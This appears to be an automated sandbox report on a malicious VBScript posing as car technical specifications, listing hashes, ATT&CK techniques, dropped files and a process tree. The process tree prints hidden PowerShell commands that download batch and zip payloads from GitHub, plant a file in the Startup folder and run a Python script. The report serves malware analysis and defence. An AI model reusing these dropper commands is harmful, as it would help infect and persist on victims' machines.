909955ee8aa40ae8425f81a16023e944d0aaafad57e90b3883243b13f1fb8741

Analysis

max time kernel
300s
max time network
160s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 16:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Technical specifications of the Car (technical specifications, colors, technology...).vbs
Size 24.5MB
Sample260804-tqveyade69
SHA256 909955ee8aa40ae8425f81a16023e944d0aaafad57e90b3883243b13f1fb8741
MD5 799132ae9c8ff9915cedaed4bcef7f6b
SHA1 cacaa1fbd9634f05132c8d0e097d802cc3caa50e
SHA512 0aa900c363bc6984b811fb6ee394e757afbc7822e79dcba5fbabfe26f3adf26a07fa3c9e06755eee549be1f0b66a8e3a8e0f78b7d8491984bfa22bdf4ca2635d
SSDEEP 98304:NcAnoA5IitowY3XZGzqZmukhsCMa2R5FJSd8MuKH:xPrsIV
TLSH
T1424723AB6617F1AA6A91D9D8B79C386146E1DC79F93C5E33C320DE9C0362073DC4247A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence privilege_escalation

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/urerfie/base/raw/main/zdd.bat

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://github.com/urerfie/base/raw/main/default.zip

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4164	powershell.exe
8	4164	powershell.exe
13	4128	powershell.exe
14	6044	powershell.exe
15	4128	powershell.exe
16	6044	powershell.exe
18	4128	powershell.exe
19	4128	powershell.exe
21	4128	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6044	powershell.exe
4128	powershell.exe
6040	powershell.exe
4164	powershell.exe
4164	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSecuryti.bat	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
16	raw.githubusercontent.com
21	raw.githubusercontent.com
1	raw.githubusercontent.com

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1580	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3076	cmd.exe
4208	cmd.exe
2580	cmd.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4164	powershell.exe
4164	powershell.exe
6044	powershell.exe
6044	powershell.exe
6040	powershell.exe
6040	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
6040	powershell.exe
6044	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	6044	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	6040	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1580 wrote to memory of 4164	1580	WScript.exe	89
PID 4164 wrote to memory of 4208	4164	powershell.exe	92
PID 4208 wrote to memory of 1664	4208	cmd.exe	94
PID 4208 wrote to memory of 1120	4208	cmd.exe	95
PID 4208 wrote to memory of 1000	4208	cmd.exe	96
PID 4208 wrote to memory of 3912	4208	cmd.exe	97
PID 4208 wrote to memory of 5988	4208	cmd.exe	98
PID 4208 wrote to memory of 6048	4208	cmd.exe	99
PID 4208 wrote to memory of 3520	4208	cmd.exe	100
PID 4208 wrote to memory of 3076	4208	cmd.exe	101
PID 4208 wrote to memory of 2580	4208	cmd.exe	102
PID 4208 wrote to memory of 6044	4208	cmd.exe	103
PID 4208 wrote to memory of 4128	4208	cmd.exe	104
PID 4208 wrote to memory of 6040	4208	cmd.exe	105

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Technical specifications of the Car (technical specifications, colors, technology...).vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/lastver/test/raw/main/x.pdf' -OutFile 'C:\Users\Admin\AppData\Local\Temp\temp.cmd'; Start-Process 'C:\Users\Admin\AppData\Local\Temp\temp.cmd' -WindowStyle Hidden
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\temp.cmd" "
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4208
  - - C:\Windows\system32\chcp.com
      chcp.com 437
      4⤵
      PID:1664
  - - C:\Windows\system32\find.exe
      find
      4⤵
      PID:1120
  - - C:\Windows\system32\find.exe
      find
      4⤵
      PID:1000
  - - C:\Windows\system32\findstr.exe
      findstr /L /I set "C:\Users\Admin\AppData\Local\Temp\temp.cmd"
      4⤵
      PID:3912
  - - C:\Windows\system32\findstr.exe
      findstr /L /I goto "C:\Users\Admin\AppData\Local\Temp\temp.cmd"
      4⤵
      PID:5988
  - - C:\Windows\system32\findstr.exe
      findstr /L /I echo "C:\Users\Admin\AppData\Local\Temp\temp.cmd"
      4⤵
      PID:6048
  - - C:\Windows\system32\findstr.exe
      findstr /L /I pause "C:\Users\Admin\AppData\Local\Temp\temp.cmd"
      4⤵
      PID:3520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type tmp
      4⤵
      Executes a command shell one-liner
      PID:3076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type tmp
      4⤵
      Executes a command shell one-liner
      PID:2580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/urerfie/base/raw/main/zdd.bat', 'C:\Users\Admin\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSecuryti.bat');
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/urerfie/base/raw/main/default.zip', 'C:\Users\Admin\AppData\Local\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\AppData\Local\\Document.zip', 'C:\Users\Admin\AppData\Local\\Document');
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Sleep -Seconds 45; C:\Users\Admin\AppData\Local\\Document\\python C:\Users\Admin\AppData\Local\\Document\\Lib\\temp.py; del C:\Users\Admin\AppData\Local\\Document.zip"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__init__.py

Path C:\Users\Admin\AppData\Local\Document\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\__init__.py
Size 180B
SHA256 b3da0a090db2705757a0445d4b58a669fb9e4a406c2fd92f6f27e085a6ae67d6
MD5 fce95ff49e7ad344d9381226ee6f5b90
SHA1 c00c73d5fb997fc6a8e19904b909372824304c27
SHA512 a1e8e1788bd96057e2dbef14e48dd5ea620ae0753dbc075d1a0397fbb7a36b1beb633d274081300914a80c95922cf6eab0f5e709b709158645e17b16583233dd
TLSH
T138C0802D1BC456B3434049585B0FD5CFF315D15D156F761574504D745231E394BFC5E4
MD5 SHA1 SHA512 TLSH

Submit Download

__init__.py

Path C:\Users\Admin\AppData\Local\Document\Lib\site-packages\pyasn1\codec\der\__init__.py
Size 59B
SHA256 1040e52584b5ef6107dfd19489d37ff056e435c598f4e555f1edf4015e7ca67d
MD5 0fc1b4d3e705f5c110975b1b90d43670
SHA1 14a9b683b19e8d7d9cb25262cdefcb72109b5569
SHA512 8a147c06c8b0a960c9a3fa6da3b30a3b18d3612af9c663ee24c8d2066f45419a2ff4aa3a636606232eca12d7faef3da0cbbd3670a2d72a3281544e1c0b8edf81
TLSH
T1D1A0025556C4F55002464A921A29A623879A54E9551D21A83115054227224151381E5D
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 79bfb5c96a3cb52ef7649a0deebebda01de17f5c0c302c2fef6fda3057a3ad54
MD5 6f75f248b8c29ea27c6f906314ee6bc3
SHA1 1dc8c6604072bcb963f62467e749814baaf3794a
SHA512 b917362f0a27dd52a742b8769cc9495cf741d2aa2db33fc169d24c2d8b7fcc310d05e18ab157d7f628acc3103d42496b0dc7cdd3d5da6a806ce42befcc8b515e
TLSH
T1D1318B33B3CC86E4C88A413688DAAC1077B697D750DECDD7ABC4D148F42F298DEA0160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
MD5 d0d3fac03f88767610f5a99b8ef62534
SHA1 ea88be022253f1717dc92755386a6b006d8e1161
SHA512 22253d382bb8cd22a7219803e10bcc5d1c070aef98e01f99ac6589d6361d6571c45b89dd5ba1ff3ad4b1c8f01508873878aab9be1526b777a8ae574c3b86c57e
TLSH
T1C921AF37B3CC8714DC8A403A50CDAC1032B5C7D7409ECF6B7B84D544B42F599CE60150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 396e04e3dbeb0985ad294f46e655cb3deb15f7534b2906eef90818dda3b672d6
MD5 530b48722eb4bc9d73738c8ccc8383ee
SHA1 33e74e6b27bfd5d418fc0b052c20ada50ea91168
SHA512 29f435431fa6585e5c0bbcb0770172851dca8c16a0ab4c72bdc11e076c73d3c3796f50d0da68fd4b16933024ec231a172579685ef7c2f07e458da2815ccaba90
TLSH
T1D0215937F3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_sz4140l4.meu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sz4140l4.meu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

temp.cmd

Path C:\Users\Admin\AppData\Local\Temp\temp.cmd
Size 9.5MB
SHA256 ce32f5bded6147589ebce2bdb2a2f8f4dd541bd309d8fce03bafc4a99acac4b3
MD5 8998f875e0f4f27588f84c6af7afff06
SHA1 55248e952573abbcb4db37b095a454a86692cb72
SHA512 4af7f11f633239a94464cb3f0e57f3a85bc1f9dfba263286afc9a88b7a65778ca023a447768f6544401de3f2ce72feaf8eba5733bd73c9c5bcc65ad2d407c070
SSDEEP 3072:xNS1TApuLPMR2X8CBUkiWZAohMcaqn1PV2VVANQfKKjlzk+coHVPDnj9yiV+5wWt:a9
TLSH
T138A65371C9962F17218BE510902962E37D8FFA7D90B9353E8A6D345F8FB1D8D813A4B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp

Path C:\Users\Admin\AppData\Local\Temp\tmp
Size 14B
SHA256 589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3
MD5 ce585c6ba32ac17652d2345118536f9c
SHA1 be0e41b3690c42e4c0cdb53d53fc544fb46b758d
SHA512 d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752
MD5 SHA1 SHA512

Submit Download

memory/4128-57-0x00000203A5DC0000-0x00000203A5DCA000-memory.dmp

Download

memory/4128-58-0x00000203A5DF0000-0x00000203A5E02000-memory.dmp

Download

memory/4164-10-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-32-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-15-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-16-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-17-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-18-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-19-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-20-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-21-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-22-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-13-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-14-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-12-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-11-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-0-0x00007FFCAE0EF000-0x00007FFCAE0F0000-memory.dmp

Download

memory/4164-9-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-8-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-7-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-6-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-5-0x000001E55C3A0000-0x000001E55C3C2000-memory.dmp

Download

memory/4164-4-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download

memory/4164-3-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

Download